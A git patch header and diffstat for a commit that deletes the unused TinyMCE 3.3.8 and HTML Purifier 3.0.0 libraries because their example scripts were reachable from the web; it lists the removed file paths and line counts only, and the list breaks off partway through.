From bcba2e1ca3f84d944b4ed284769602e63586fa02 Mon Sep 17 00:00:00 2001 From: Timothy Allen Date: Fri, 25 Sep 2026 21:55:53 +0200 Subject: [PATCH] Remove unused old libraries and archives. TinyMCE 3.3.8, HTML Purifier 3.0.0 and the archives. Their example scripts could be reached from the web. --- 20100727-skins-xxx-3.3.8.tar.gz | Bin 15857 -> 0 bytes lib/htmlpurifier-3.0.0/CREDITS | 7 - lib/htmlpurifier-3.0.0/Doxyfile | 1315 -- lib/htmlpurifier-3.0.0/INSTALL | 256 - lib/htmlpurifier-3.0.0/INSTALL.fr.utf8 | 71 - lib/htmlpurifier-3.0.0/LICENSE | 504 - lib/htmlpurifier-3.0.0/NEWS | 527 - lib/htmlpurifier-3.0.0/README | 22 - lib/htmlpurifier-3.0.0/TODO | 98 - lib/htmlpurifier-3.0.0/VERSION | 1 - lib/htmlpurifier-3.0.0/WHATSNEW | 10 - lib/htmlpurifier-3.0.0/WYSIWYG | 18 - lib/htmlpurifier-3.0.0/art/1000passes.png | Bin 3522 -> 0 bytes lib/htmlpurifier-3.0.0/art/100cases.png | Bin 2732 -> 0 bytes lib/htmlpurifier-3.0.0/art/favicon.ico | Bin 9326 -> 0 bytes lib/htmlpurifier-3.0.0/art/icon-16x16.png | Bin 382 -> 0 bytes lib/htmlpurifier-3.0.0/art/icon-16x16.svg | 101 - lib/htmlpurifier-3.0.0/art/icon-32x32.png | Bin 615 -> 0 bytes lib/htmlpurifier-3.0.0/art/icon-32x32.svg | 101 - lib/htmlpurifier-3.0.0/art/icon-64x64.png | Bin 1036 -> 0 bytes lib/htmlpurifier-3.0.0/art/logo-large.png | Bin 10054 -> 0 bytes lib/htmlpurifier-3.0.0/art/logo.png | Bin 2658 -> 0 bytes lib/htmlpurifier-3.0.0/art/logo.svg | 119 - lib/htmlpurifier-3.0.0/art/powered.png | Bin 297 -> 0 bytes lib/htmlpurifier-3.0.0/benchmarks/.htaccess | 1 - lib/htmlpurifier-3.0.0/benchmarks/Lexer.php | 155 - lib/htmlpurifier-3.0.0/benchmarks/Trace.php | 19 - .../benchmarks/samples/Lexer/1.html | 53 - .../benchmarks/samples/Lexer/2.html | 17 - .../benchmarks/samples/Lexer/3.html | 128 - .../benchmarks/samples/Lexer/4.html | 540 - .../benchmarks/samples/Lexer/DISCLAIMER.txt | 5 - lib/htmlpurifier-3.0.0/configdoc/generate.php | 45 - .../configdoc/library/ConfigDoc.auto.php | 9 - .../configdoc/library/ConfigDoc.php | 50 - .../library/ConfigDoc/HTMLXSLTProcessor.php | 75 - .../library/ConfigDoc/XMLSerializer.php | 31 - .../ConfigDoc/XMLSerializer/ConfigSchema.php | 124 - .../library/ConfigDoc/XMLSerializer/Types.php | 27 - .../configdoc/styles/plain.css | 24 - .../configdoc/styles/plain.xsl | 151 - .../docs/dev-advanced-api.html | 213 - .../docs/dev-code-quality.txt | 28 - lib/htmlpurifier-3.0.0/docs/dev-naming.html | 82 - .../docs/dev-optimization.html | 33 - lib/htmlpurifier-3.0.0/docs/dev-progress.html | 303 - .../docs/dtd/xhtml1-transitional.dtd | 1201 -- .../docs/enduser-customize.html | 798 - lib/htmlpurifier-3.0.0/docs/enduser-id.html | 147 - .../docs/enduser-overview.txt | 57 - .../docs/enduser-security.txt | 16 - lib/htmlpurifier-3.0.0/docs/enduser-slow.html | 117 - lib/htmlpurifier-3.0.0/docs/enduser-tidy.html | 230 - .../docs/enduser-uri-filter.html | 201 - lib/htmlpurifier-3.0.0/docs/enduser-utf8.html | 1057 -- .../docs/enduser-youtube.html | 152 - .../docs/entities/xhtml-lat1.ent | 196 - .../docs/entities/xhtml-special.ent | 80 - .../docs/entities/xhtml-symbol.ent | 237 - .../docs/examples/basic.php | 22 - lib/htmlpurifier-3.0.0/docs/fixquotes.htc | 6 - lib/htmlpurifier-3.0.0/docs/index.html | 168 - .../docs/proposal-colors.html | 48 - .../docs/proposal-config.txt | 21 - .../docs/proposal-filter-levels.txt | 135 - .../docs/proposal-language.txt | 62 - .../docs/proposal-new-directives.txt | 43 - .../docs/ref-content-models.txt | 48 - .../docs/ref-css-length.txt | 28 - .../docs/ref-devnetwork.html | 45 - .../docs/ref-html-modularization.txt | 164 - .../docs/ref-proprietary-tags.txt | 24 - lib/htmlpurifier-3.0.0/docs/ref-whatwg.txt | 24 - lib/htmlpurifier-3.0.0/docs/specimens/LICENSE | 8 - .../docs/specimens/html-align-to-css.html | 165 - lib/htmlpurifier-3.0.0/docs/specimens/img.png | Bin 2138 -> 0 bytes .../windows-live-mail-desktop-beta.html | 74 - lib/htmlpurifier-3.0.0/docs/style.css | 74 - .../library/HTMLPurifier.auto.php | 9 - .../library/HTMLPurifier.func.php | 20 - .../library/HTMLPurifier.php | 233 - .../library/HTMLPurifier/AttrCollections.php | 129 - .../library/HTMLPurifier/AttrDef.php | 80 - .../library/HTMLPurifier/AttrDef/CSS.php | 81 - .../HTMLPurifier/AttrDef/CSS/AlphaValue.php | 22 - .../HTMLPurifier/AttrDef/CSS/Background.php | 86 - .../AttrDef/CSS/BackgroundPosition.php | 129 - .../HTMLPurifier/AttrDef/CSS/Border.php | 44 - .../HTMLPurifier/AttrDef/CSS/Color.php | 104 - .../HTMLPurifier/AttrDef/CSS/Composite.php | 37 - .../HTMLPurifier/AttrDef/CSS/Filter.php | 55 - .../library/HTMLPurifier/AttrDef/CSS/Font.php | 150 - .../HTMLPurifier/AttrDef/CSS/FontFamily.php | 66 - .../HTMLPurifier/AttrDef/CSS/Length.php | 55 - .../HTMLPurifier/AttrDef/CSS/ListStyle.php | 79 - .../HTMLPurifier/AttrDef/CSS/Multiple.php | 59 - .../HTMLPurifier/AttrDef/CSS/Number.php | 64 - .../HTMLPurifier/AttrDef/CSS/Percentage.php | 42 - .../AttrDef/CSS/TextDecoration.php | 36 - .../library/HTMLPurifier/AttrDef/CSS/URI.php | 57 - .../library/HTMLPurifier/AttrDef/Enum.php | 66 - .../HTMLPurifier/AttrDef/HTML/Bool.php | 29 - .../HTMLPurifier/AttrDef/HTML/Color.php | 34 - .../HTMLPurifier/AttrDef/HTML/FrameTarget.php | 33 - .../library/HTMLPurifier/AttrDef/HTML/ID.php | 120 - .../HTMLPurifier/AttrDef/HTML/Length.php | 43 - .../HTMLPurifier/AttrDef/HTML/LinkTypes.php | 72 - .../HTMLPurifier/AttrDef/HTML/MultiLength.php | 43 - .../HTMLPurifier/AttrDef/HTML/Nmtokens.php | 50 - .../HTMLPurifier/AttrDef/HTML/Pixels.php | 36 - .../library/HTMLPurifier/AttrDef/Integer.php | 74 - .../library/HTMLPurifier/AttrDef/Lang.php | 74 - .../library/HTMLPurifier/AttrDef/Text.php | 16 - .../library/HTMLPurifier/AttrDef/URI.php | 150 - .../HTMLPurifier/AttrDef/URI/Email.php | 18 - .../AttrDef/URI/Email/SimpleCheck.php | 22 - .../library/HTMLPurifier/AttrDef/URI/Host.php | 53 - .../library/HTMLPurifier/AttrDef/URI/IPv4.php | 40 - .../library/HTMLPurifier/AttrDef/URI/IPv6.php | 100 - .../library/HTMLPurifier/AttrTransform.php | 55 - .../HTMLPurifier/AttrTransform/BdoDir.php | 30 - .../HTMLPurifier/AttrTransform/BgColor.php | 24 - .../HTMLPurifier/AttrTransform/BoolToCSS.php | 38 - .../HTMLPurifier/AttrTransform/Border.php | 19 - .../HTMLPurifier/AttrTransform/EnumToCSS.php | 59 - .../AttrTransform/ImgRequired.php | 53 - .../HTMLPurifier/AttrTransform/ImgSpace.php | 45 - .../HTMLPurifier/AttrTransform/Lang.php | 29 - .../HTMLPurifier/AttrTransform/Length.php | 28 - .../HTMLPurifier/AttrTransform/Name.php | 20 - .../library/HTMLPurifier/AttrTypes.php | 84 - .../library/HTMLPurifier/AttrValidator.php | 146 - .../library/HTMLPurifier/CSSDefinition.php | 263 - .../library/HTMLPurifier/ChildDef.php | 56 - .../HTMLPurifier/ChildDef/Chameleon.php | 49 - .../library/HTMLPurifier/ChildDef/Custom.php | 93 - .../library/HTMLPurifier/ChildDef/Empty.php | 21 - .../HTMLPurifier/ChildDef/Optional.php | 25 - .../HTMLPurifier/ChildDef/Required.php | 111 - .../ChildDef/StrictBlockquote.php | 75 - .../library/HTMLPurifier/ChildDef/Table.php | 143 - .../library/HTMLPurifier/Config.php | 495 - .../library/HTMLPurifier/ConfigDef.php | 9 - .../HTMLPurifier/ConfigDef/Directive.php | 79 - .../HTMLPurifier/ConfigDef/DirectiveAlias.php | 26 - .../HTMLPurifier/ConfigDef/Namespace.php | 22 - .../library/HTMLPurifier/ConfigSchema.php | 436 - .../library/HTMLPurifier/ContentSets.php | 149 - .../library/HTMLPurifier/Context.php | 79 - .../library/HTMLPurifier/Definition.php | 38 - .../library/HTMLPurifier/DefinitionCache.php | 114 - .../DefinitionCache/Decorator.php | 63 - .../DefinitionCache/Decorator/Cleanup.php | 44 - .../DefinitionCache/Decorator/Memory.php | 47 - .../DefinitionCache/Decorator/Template.php.in | 46 - .../HTMLPurifier/DefinitionCache/Null.php | 40 - .../DefinitionCache/Serializer.php | 193 - .../HTMLPurifier/DefinitionCacheFactory.php | 107 - .../library/HTMLPurifier/Doctype.php | 66 - .../library/HTMLPurifier/DoctypeRegistry.php | 122 - .../library/HTMLPurifier/ElementDef.php | 175 - .../library/HTMLPurifier/Encoder.php | 395 - .../library/HTMLPurifier/EntityLookup.php | 43 - .../HTMLPurifier/EntityLookup/entities.ser | 1 - .../library/HTMLPurifier/EntityParser.php | 146 - .../library/HTMLPurifier/Error.php | 7 - .../library/HTMLPurifier/ErrorCollector.php | 118 - .../library/HTMLPurifier/Filter.php | 45 - .../Filter/ExtractStyleBlocks.php | 172 - .../library/HTMLPurifier/Filter/YouTube.php | 33 - .../library/HTMLPurifier/Generator.php | 210 - .../library/HTMLPurifier/HTMLDefinition.php | 461 - .../library/HTMLPurifier/HTMLModule.php | 213 - .../library/HTMLPurifier/HTMLModule/Bdo.php | 33 - .../HTMLModule/CommonAttributes.php | 26 - .../library/HTMLPurifier/HTMLModule/Edit.php | 40 - .../HTMLPurifier/HTMLModule/Hypertext.php | 32 - .../library/HTMLPurifier/HTMLModule/Image.php | 36 - .../HTMLPurifier/HTMLModule/Legacy.php | 138 - .../library/HTMLPurifier/HTMLModule/List.php | 36 - .../HTMLModule/NonXMLCommonAttributes.php | 15 - .../HTMLPurifier/HTMLModule/Object.php | 47 - .../HTMLPurifier/HTMLModule/Presentation.php | 32 - .../library/HTMLPurifier/HTMLModule/Ruby.php | 28 - .../HTMLPurifier/HTMLModule/Scripting.php | 63 - .../HTMLModule/StyleAttribute.php | 26 - .../HTMLPurifier/HTMLModule/Tables.php | 68 - .../HTMLPurifier/HTMLModule/Target.php | 24 - .../library/HTMLPurifier/HTMLModule/Text.php | 64 - .../library/HTMLPurifier/HTMLModule/Tidy.php | 241 - .../HTMLModule/Tidy/Proprietary.php | 17 - .../HTMLPurifier/HTMLModule/Tidy/XHTML.php | 20 - .../HTMLModule/Tidy/XHTMLAndHTML4.php | 206 - .../HTMLModule/XMLCommonAttributes.php | 15 - .../HTMLPurifier/HTMLModuleManager.php | 479 - .../library/HTMLPurifier/IDAccumulator.php | 57 - .../library/HTMLPurifier/Injector.php | 121 - .../HTMLPurifier/Injector/AutoParagraph.php | 281 - .../library/HTMLPurifier/Injector/Linkify.php | 56 - .../HTMLPurifier/Injector/PurifierLinkify.php | 65 - .../library/HTMLPurifier/Language.php | 153 - .../Language/classes/en-x-test.php | 11 - .../Language/messages/en-x-test.php | 10 - .../HTMLPurifier/Language/messages/en.php | 57 - .../library/HTMLPurifier/LanguageFactory.php | 205 - .../library/HTMLPurifier/Lexer.php | 359 - .../library/HTMLPurifier/Lexer/DOMLex.php | 195 - .../library/HTMLPurifier/Lexer/DirectLex.php | 498 - .../library/HTMLPurifier/Lexer/PEARSax3.php | 108 - .../library/HTMLPurifier/Lexer/PH5P.php | 3886 ----- .../library/HTMLPurifier/PercentEncoder.php | 46 - .../library/HTMLPurifier/Printer.php | 173 - .../HTMLPurifier/Printer/CSSDefinition.php | 39 - .../HTMLPurifier/Printer/ConfigForm.css | 8 - .../HTMLPurifier/Printer/ConfigForm.js | 3 - .../HTMLPurifier/Printer/ConfigForm.php | 318 - .../HTMLPurifier/Printer/HTMLDefinition.php | 273 - .../library/HTMLPurifier/Strategy.php | 30 - .../HTMLPurifier/Strategy/Composite.php | 27 - .../library/HTMLPurifier/Strategy/Core.php | 24 - .../HTMLPurifier/Strategy/FixNesting.php | 331 - .../HTMLPurifier/Strategy/MakeWellFormed.php | 317 - .../Strategy/RemoveForeignElements.php | 194 - .../Strategy/ValidateAttributes.php | 44 - .../library/HTMLPurifier/TagTransform.php | 37 - .../HTMLPurifier/TagTransform/Font.php | 94 - .../HTMLPurifier/TagTransform/Simple.php | 36 - .../library/HTMLPurifier/Token.php | 159 - .../library/HTMLPurifier/TokenFactory.php | 95 - .../library/HTMLPurifier/URI.php | 119 - .../library/HTMLPurifier/URIDefinition.php | 145 - .../library/HTMLPurifier/URIFilter.php | 38 - .../URIFilter/DisableExternal.php | 34 - .../URIFilter/DisableExternalResources.php | 26 - .../HTMLPurifier/URIFilter/HostBlacklist.php | 28 - .../HTMLPurifier/URIFilter/MakeAbsolute.php | 118 - .../library/HTMLPurifier/URIParser.php | 62 - .../library/HTMLPurifier/URIScheme.php | 41 - .../library/HTMLPurifier/URIScheme/ftp.php | 44 - .../library/HTMLPurifier/URIScheme/http.php | 21 - .../library/HTMLPurifier/URIScheme/https.php | 13 - .../library/HTMLPurifier/URIScheme/mailto.php | 28 - .../library/HTMLPurifier/URIScheme/news.php | 23 - .../library/HTMLPurifier/URIScheme/nntp.php | 21 - .../HTMLPurifier/URISchemeRegistry.php | 99 - lib/htmlpurifier-3.0.0/maintenance/.htaccess | 1 - lib/htmlpurifier-3.0.0/maintenance/PH5P.patch | 64 - lib/htmlpurifier-3.0.0/maintenance/PH5P.php | 3824 ----- lib/htmlpurifier-3.0.0/maintenance/common.php | 141 - .../maintenance/flush-definition-cache.php | 37 - .../maintenance/generate-entity-file.php | 72 - .../maintenance/generate-ph5p-patch.php | 13 - .../maintenance/merge-library.php | 163 - lib/htmlpurifier-3.0.0/package.php | 55 - lib/htmlpurifier-3.0.0/phpdoc.ini | 100 - lib/htmlpurifier-3.0.0/plugins/modx.txt | 91 - .../plugins/phorum/config.default.php | 56 - .../plugins/phorum/htmlpurifier.php | 302 - .../plugins/phorum/htmlpurifier/LICENSE | 504 - .../plugins/phorum/htmlpurifier/README | 1 - .../plugins/phorum/info.txt | 8 - .../plugins/phorum/init-config.php | 27 - .../plugins/phorum/install.txt | 33 - .../plugins/phorum/migrate.bbcode.php | 28 - .../plugins/phorum/settings.php | 63 - .../plugins/phorum/settings/form.php | 79 - .../phorum/settings/migrate-sigs-form.php | 21 - .../plugins/phorum/settings/migrate-sigs.php | 85 - .../plugins/phorum/settings/save.php | 23 - lib/htmlpurifier-3.0.0/release1-update.php | 94 - lib/htmlpurifier-3.0.0/release2-strict.php | 30 - lib/htmlpurifier-3.0.0/release3-tag.php | 25 - lib/htmlpurifier-3.0.0/smoketests/all.php | 41 - .../smoketests/attrTransform.php | 69 - .../smoketests/attrTransform.xml | 189 - lib/htmlpurifier-3.0.0/smoketests/basic.php | 70 - .../smoketests/basic/allElements.css | 48 - .../smoketests/basic/allElements.html | 79 - .../smoketests/basic/legacy.css | 71 - .../smoketests/basic/legacy.html | 124 - lib/htmlpurifier-3.0.0/smoketests/common.php | 17 - .../smoketests/configForm.php | 77 - .../smoketests/extractStyleBlocks.php | 69 - lib/htmlpurifier-3.0.0/smoketests/img.png | Bin 2138 -> 0 bytes .../smoketests/loadFunc.php | 40 - .../smoketests/preserveYouTube.php | 44 - .../smoketests/printDefinition.php | 114 - .../smoketests/testSchema.php | 43 - lib/htmlpurifier-3.0.0/smoketests/utf8.php | 40 - .../smoketests/variableWidthAttack.php | 54 - .../smoketests/xssAttacks.php | 96 - .../smoketests/xssAttacks.xml | 1307 -- lib/htmlpurifier-3.0.0/svn.php | 13 - .../test-settings.sample.php | 30 - lib/htmlpurifier-3.0.0/tests/CliTestCase.php | 68 - lib/htmlpurifier-3.0.0/tests/Debugger.php | 158 - .../HTMLPurifier/AttrCollectionsTest.php | 135 - .../AttrDef/CSS/AlphaValueTest.php | 30 - .../AttrDef/CSS/BackgroundPositionTest.php | 70 - .../AttrDef/CSS/BackgroundTest.php | 21 - .../HTMLPurifier/AttrDef/CSS/BorderTest.php | 21 - .../HTMLPurifier/AttrDef/CSS/ColorTest.php | 43 - .../AttrDef/CSS/CompositeTest.php | 92 - .../HTMLPurifier/AttrDef/CSS/FilterTest.php | 31 - .../AttrDef/CSS/FontFamilyTest.php | 27 - .../HTMLPurifier/AttrDef/CSS/FontTest.php | 36 - .../HTMLPurifier/AttrDef/CSS/LengthTest.php | 42 - .../AttrDef/CSS/ListStyleTest.php | 37 - .../HTMLPurifier/AttrDef/CSS/MultipleTest.php | 32 - .../HTMLPurifier/AttrDef/CSS/NumberTest.php | 53 - .../AttrDef/CSS/PercentageTest.php | 26 - .../AttrDef/CSS/TextDecorationTest.php | 26 - .../HTMLPurifier/AttrDef/CSS/URITest.php | 36 - .../tests/HTMLPurifier/AttrDef/CSSTest.php | 134 - .../tests/HTMLPurifier/AttrDef/EnumTest.php | 39 - .../HTMLPurifier/AttrDef/HTML/BoolTest.php | 24 - .../HTMLPurifier/AttrDef/HTML/ColorTest.php | 22 - .../AttrDef/HTML/FrameTargetTest.php | 30 - .../HTMLPurifier/AttrDef/HTML/IDTest.php | 111 - .../HTMLPurifier/AttrDef/HTML/LengthTest.php | 34 - .../AttrDef/HTML/LinkTypesTest.php | 23 - .../AttrDef/HTML/MultiLengthTest.php | 30 - .../AttrDef/HTML/NmtokensTest.php | 34 - .../HTMLPurifier/AttrDef/HTML/PixelsTest.php | 40 - .../HTMLPurifier/AttrDef/IntegerTest.php | 63 - .../tests/HTMLPurifier/AttrDef/LangTest.php | 87 - .../tests/HTMLPurifier/AttrDef/TextTest.php | 19 - .../AttrDef/URI/Email/SimpleCheckTest.php | 15 - .../HTMLPurifier/AttrDef/URI/EmailHarness.php | 33 - .../HTMLPurifier/AttrDef/URI/HostTest.php | 23 - .../HTMLPurifier/AttrDef/URI/IPv4Test.php | 26 - .../HTMLPurifier/AttrDef/URI/IPv6Test.php | 45 - .../tests/HTMLPurifier/AttrDef/URITest.php | 98 - .../tests/HTMLPurifier/AttrDefHarness.php | 26 - .../tests/HTMLPurifier/AttrDefTest.php | 34 - .../HTMLPurifier/AttrTransform/BdoDirTest.php | 32 - .../AttrTransform/BgColorTest.php | 46 - .../AttrTransform/BoolToCSSTest.php | 40 - .../HTMLPurifier/AttrTransform/BorderTest.php | 41 - .../AttrTransform/EnumToCSSTest.php | 75 - .../AttrTransform/ImgRequiredTest.php | 48 - .../AttrTransform/ImgSpaceTest.php | 58 - .../HTMLPurifier/AttrTransform/LangTest.php | 49 - .../HTMLPurifier/AttrTransform/LengthTest.php | 47 - .../HTMLPurifier/AttrTransform/NameTest.php | 33 - .../HTMLPurifier/AttrTransformHarness.php | 14 - .../tests/HTMLPurifier/AttrTransformTest.php | 46 - .../tests/HTMLPurifier/AttrTypesTest.php | 27 - .../HTMLPurifier/AttrValidator_ErrorsTest.php | 49 - .../HTMLPurifier/ChildDef/ChameleonTest.php | 42 - .../HTMLPurifier/ChildDef/CustomTest.php | 76 - .../HTMLPurifier/ChildDef/OptionalTest.php | 27 - .../HTMLPurifier/ChildDef/RequiredTest.php | 77 - .../ChildDef/StrictBlockquoteTest.php | 85 - .../tests/HTMLPurifier/ChildDef/TableTest.php | 63 - .../tests/HTMLPurifier/ChildDefHarness.php | 19 - .../tests/HTMLPurifier/ComplexHarness.php | 120 - .../tests/HTMLPurifier/ConfigSchemaTest.php | 345 - .../tests/HTMLPurifier/ConfigTest-create.ini | 2 - .../HTMLPurifier/ConfigTest-finalize.ini | 2 - .../tests/HTMLPurifier/ConfigTest-loadIni.ini | 4 - .../tests/HTMLPurifier/ConfigTest.php | 460 - .../tests/HTMLPurifier/ContextTest.php | 87 - .../DefinitionCache/Decorator/CleanupTest.php | 58 - .../DefinitionCache/Decorator/MemoryTest.php | 72 - .../DefinitionCache/DecoratorHarness.php | 25 - .../DefinitionCache/DecoratorTest.php | 44 - .../DefinitionCache/SerializerTest.php | 200 - .../DefinitionCacheFactoryTest.php | 71 - .../HTMLPurifier/DefinitionCacheHarness.php | 35 - .../HTMLPurifier/DefinitionCacheTest.php | 41 - .../tests/HTMLPurifier/DefinitionTest.php | 22 - .../tests/HTMLPurifier/DefinitionTestable.php | 7 - .../HTMLPurifier/DoctypeRegistryTest.php | 78 - .../tests/HTMLPurifier/ElementDefTest.php | 95 - .../tests/HTMLPurifier/EncoderTest.php | 146 - .../tests/HTMLPurifier/EntityLookupTest.php | 28 - .../tests/HTMLPurifier/EntityParserTest.php | 86 - .../HTMLPurifier/ErrorCollectorEMock.php | 55 - .../tests/HTMLPurifier/ErrorCollectorTest.php | 141 - .../tests/HTMLPurifier/ErrorsHarness.php | 40 - .../Filter/ExtractStyleBlocksTest.php | 177 - .../tests/HTMLPurifier/GeneratorTest.php | 225 - .../tests/HTMLPurifier/HTMLDefinitionTest.php | 106 - .../HTMLPurifier/HTMLModule/ObjectTest.php | 39 - .../HTMLPurifier/HTMLModule/RubyTest.php | 56 - .../HTMLPurifier/HTMLModule/ScriptingTest.php | 56 - .../HTMLPurifier/HTMLModule/TidyTest.php | 229 - .../tests/HTMLPurifier/HTMLModuleHarness.php | 13 - .../HTMLPurifier/HTMLModuleManagerTest.php | 107 - .../tests/HTMLPurifier/HTMLModuleTest.php | 149 - .../tests/HTMLPurifier/Harness.php | 76 - .../tests/HTMLPurifier/IDAccumulatorTest.php | 40 - .../Injector/AutoParagraphTest.php | 380 - .../HTMLPurifier/Injector/LinkifyTest.php | 48 - .../Injector/PurifierLinkifyTest.php | 61 - .../tests/HTMLPurifier/InjectorHarness.php | 15 - .../HTMLPurifier/LanguageFactoryTest.php | 51 - .../tests/HTMLPurifier/LanguageTest.php | 80 - .../HTMLPurifier/Lexer/DirectLexTest.php | 130 - .../Lexer/DirectLex_ErrorsTest.php | 55 - .../tests/HTMLPurifier/LexerTest.php | 527 - .../tests/HTMLPurifier/PercentEncoderTest.php | 41 - .../HTMLPurifier/SimpleTest/Reporter.php | 41 - .../HTMLPurifier/Strategy/CompositeTest.php | 75 - .../tests/HTMLPurifier/Strategy/CoreTest.php | 47 - .../HTMLPurifier/Strategy/ErrorsHarness.php | 19 - .../HTMLPurifier/Strategy/FixNestingTest.php | 139 - .../Strategy/FixNesting_ErrorsTest.php | 43 - .../Strategy/MakeWellFormedTest.php | 86 - .../Strategy/MakeWellFormed_ErrorsTest.php | 56 - .../Strategy/MakeWellFormed_InjectorTest.php | 98 - .../Strategy/RemoveForeignElementsTest.php | 95 - .../RemoveForeignElements_ErrorsTest.php | 59 - .../RemoveForeignElements_TidyTest.php | 46 - .../Strategy/ValidateAttributesTest.php | 185 - .../Strategy/ValidateAttributes_IDTest.php | 65 - .../Strategy/ValidateAttributes_TidyTest.php | 353 - .../tests/HTMLPurifier/StrategyHarness.php | 16 - .../tests/HTMLPurifier/TagTransformTest.php | 179 - .../tests/HTMLPurifier/TokenFactoryTest.php | 18 - .../tests/HTMLPurifier/TokenTest.php | 35 - .../tests/HTMLPurifier/URIDefinitionTest.php | 61 - .../DisableExternalResourcesTest.php | 24 - .../URIFilter/DisableExternalTest.php | 47 - .../URIFilter/HostBlacklistTest.php | 30 - .../URIFilter/MakeAbsoluteTest.php | 128 - .../tests/HTMLPurifier/URIFilterHarness.php | 15 - .../tests/HTMLPurifier/URIHarness.php | 31 - .../tests/HTMLPurifier/URIParserTest.php | 140 - .../HTMLPurifier/URISchemeRegistryTest.php | 50 - .../tests/HTMLPurifier/URISchemeTest.php | 149 - .../tests/HTMLPurifier/URITest.php | 166 - .../tests/HTMLPurifierTest.php | 154 - lib/htmlpurifier-3.0.0/tests/common.php | 105 - .../tests/generate_mock_once.func.php | 10 - lib/htmlpurifier-3.0.0/tests/index.php | 90 - lib/htmlpurifier-3.0.0/tests/multitest.php | 79 - .../tests/path2class.func.php | 13 - .../tests/tally_errors.func.php | 17 - lib/htmlpurifier-3.0.0/tests/test_files.php | 129 - tinymce-3.3.8/changelog.txt | 1084 -- tinymce-3.3.8/examples/css/content.css | 105 - tinymce-3.3.8/examples/css/word.css | 53 - tinymce-3.3.8/examples/custom_formats.html | 111 - tinymce-3.3.8/examples/full.html | 101 - tinymce-3.3.8/examples/index.html | 10 - tinymce-3.3.8/examples/lists/image_list.js | 9 - tinymce-3.3.8/examples/lists/link_list.js | 10 - tinymce-3.3.8/examples/lists/media_list.js | 10 - tinymce-3.3.8/examples/lists/template_list.js | 9 - tinymce-3.3.8/examples/media/logo.jpg | Bin 2729 -> 0 bytes tinymce-3.3.8/examples/media/logo_over.jpg | Bin 6473 -> 0 bytes tinymce-3.3.8/examples/media/sample.avi | Bin 82944 -> 0 bytes tinymce-3.3.8/examples/media/sample.dcr | Bin 6774 -> 0 bytes tinymce-3.3.8/examples/media/sample.mov | Bin 55622 -> 0 bytes tinymce-3.3.8/examples/media/sample.ram | 1 - tinymce-3.3.8/examples/media/sample.rm | Bin 17846 -> 0 bytes tinymce-3.3.8/examples/media/sample.swf | Bin 6118 -> 0 bytes tinymce-3.3.8/examples/menu.html | 17 - tinymce-3.3.8/examples/simple.html | 47 - tinymce-3.3.8/examples/skins.html | 216 - tinymce-3.3.8/examples/templates/layout1.htm | 15 - tinymce-3.3.8/examples/templates/snippet1.htm | 1 - tinymce-3.3.8/examples/translate.html | 84 - tinymce-3.3.8/examples/word.html | 71 - tinymce-3.3.8/jscripts/tiny_mce/langs/en.js | 170 - tinymce-3.3.8/jscripts/tiny_mce/license.txt | 504 - .../tiny_mce/plugins/advhr/css/advhr.css | 5 - .../tiny_mce/plugins/advhr/editor_plugin.js | 1 - .../plugins/advhr/editor_plugin_src.js | 57 - .../tiny_mce/plugins/advhr/js/rule.js | 43 - .../tiny_mce/plugins/advhr/langs/en_dlg.js | 5 - .../jscripts/tiny_mce/plugins/advhr/rule.htm | 57 - .../plugins/advimage/css/advimage.css | 13 - .../plugins/advimage/editor_plugin.js | 1 - .../plugins/advimage/editor_plugin_src.js | 50 - .../tiny_mce/plugins/advimage/image.htm | 232 - .../tiny_mce/plugins/advimage/img/sample.gif | Bin 1624 -> 0 bytes .../tiny_mce/plugins/advimage/js/image.js | 443 - .../tiny_mce/plugins/advimage/langs/en_dlg.js | 43 - .../tiny_mce/plugins/advlink/css/advlink.css | 8 - .../tiny_mce/plugins/advlink/editor_plugin.js | 1 - .../plugins/advlink/editor_plugin_src.js | 61 - .../tiny_mce/plugins/advlink/js/advlink.js | 528 - .../tiny_mce/plugins/advlink/langs/en_dlg.js | 52 - .../tiny_mce/plugins/advlink/link.htm | 333 - .../tiny_mce/plugins/advlist/editor_plugin.js | 1 - .../plugins/advlist/editor_plugin_src.js | 154 - .../plugins/autoresize/editor_plugin.js | 1 - .../plugins/autoresize/editor_plugin_src.js | 119 - .../plugins/autosave/editor_plugin.js | 1 - .../plugins/autosave/editor_plugin_src.js | 422 - .../tiny_mce/plugins/autosave/langs/en.js | 4 - .../tiny_mce/plugins/bbcode/editor_plugin.js | 1 - .../plugins/bbcode/editor_plugin_src.js | 120 - .../plugins/contextmenu/editor_plugin.js | 1 - .../plugins/contextmenu/editor_plugin_src.js | 147 - .../plugins/directionality/editor_plugin.js | 1 - .../directionality/editor_plugin_src.js | 82 - .../plugins/emotions/editor_plugin.js | 1 - .../plugins/emotions/editor_plugin_src.js | 43 - .../tiny_mce/plugins/emotions/emotions.htm | 40 - .../plugins/emotions/img/smiley-cool.gif | Bin 354 -> 0 bytes .../plugins/emotions/img/smiley-cry.gif | Bin 329 -> 0 bytes .../emotions/img/smiley-embarassed.gif | Bin 331 -> 0 bytes .../emotions/img/smiley-foot-in-mouth.gif | Bin 344 -> 0 bytes .../plugins/emotions/img/smiley-frown.gif | Bin 340 -> 0 bytes .../plugins/emotions/img/smiley-innocent.gif | Bin 336 -> 0 bytes .../plugins/emotions/img/smiley-kiss.gif | Bin 338 -> 0 bytes .../plugins/emotions/img/smiley-laughing.gif | Bin 344 -> 0 bytes .../emotions/img/smiley-money-mouth.gif | Bin 321 -> 0 bytes .../plugins/emotions/img/smiley-sealed.gif | Bin 325 -> 0 bytes .../plugins/emotions/img/smiley-smile.gif | Bin 345 -> 0 bytes .../plugins/emotions/img/smiley-surprised.gif | Bin 342 -> 0 bytes .../emotions/img/smiley-tongue-out.gif | Bin 328 -> 0 bytes .../plugins/emotions/img/smiley-undecided.gif | Bin 337 -> 0 bytes .../plugins/emotions/img/smiley-wink.gif | Bin 351 -> 0 bytes .../plugins/emotions/img/smiley-yell.gif | Bin 336 -> 0 bytes .../tiny_mce/plugins/emotions/js/emotions.js | 22 - .../tiny_mce/plugins/emotions/langs/en_dlg.js | 20 - .../tiny_mce/plugins/example/dialog.htm | 22 - .../tiny_mce/plugins/example/editor_plugin.js | 1 - .../plugins/example/editor_plugin_src.js | 84 - .../tiny_mce/plugins/example/img/example.gif | Bin 87 -> 0 bytes .../tiny_mce/plugins/example/js/dialog.js | 19 - .../tiny_mce/plugins/example/langs/en.js | 3 - .../tiny_mce/plugins/example/langs/en_dlg.js | 3 - .../plugins/fullpage/css/fullpage.css | 182 - .../plugins/fullpage/editor_plugin.js | 1 - .../plugins/fullpage/editor_plugin_src.js | 153 - .../tiny_mce/plugins/fullpage/fullpage.htm | 571 - .../tiny_mce/plugins/fullpage/js/fullpage.js | 471 - 